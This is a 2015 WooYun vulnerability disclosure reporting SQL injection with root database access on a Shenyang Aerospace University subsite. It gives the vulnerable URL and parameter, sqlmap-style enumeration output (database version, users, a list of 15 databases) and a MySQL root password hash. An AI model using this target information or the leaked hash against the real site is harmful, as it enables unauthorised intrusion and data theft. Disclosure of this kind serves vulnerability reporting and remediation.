WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0128101

漏洞标题：沈阳航空航天大学分站sql注入ROOT权限

相关厂商：沈阳航空航天大学

漏洞作者： 龍 、

提交时间：2015-07-21 17:30

修复时间：2015-07-26 17:32

公开时间：2015-07-26 17:32

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2015-07-21： 细节已通知厂商并且等待厂商处理中
2015-07-26： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

RT

详细说明：

http://sem.sau.edu.cn/view_list-single.php?id=97

检测注入类型为：整型(Integer)
检测数据库类型为：MySQL
检测长度为：12
页面显示位为：2
当前库名为：semdb
数据库版本：5.5.20-log
连接用户名：root@localhost
系统类型：Win32

database management system users [4]:
[*] ''@'localhost'
[*] 'root'@'127.0.0.1'
[*] 'root'@'::1'
[*] 'root'@'localhost'

"root","*13EA0790CD92F01E2ABC3D344A2AB8A485243F34"

漏洞证明：

available databases [15]:
[*] bc_wx
[*] fly_jsj
[*] fly_jyw
[*] fly_wgy
[*] fly_xn
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpcms
[*] sau_cxxy
[*] semdb
[*] test
[*] tp
[*] xsdt
[*] zdh

修复方案：

版权声明：转载请注明来源 龍 、@乌云

漏洞回应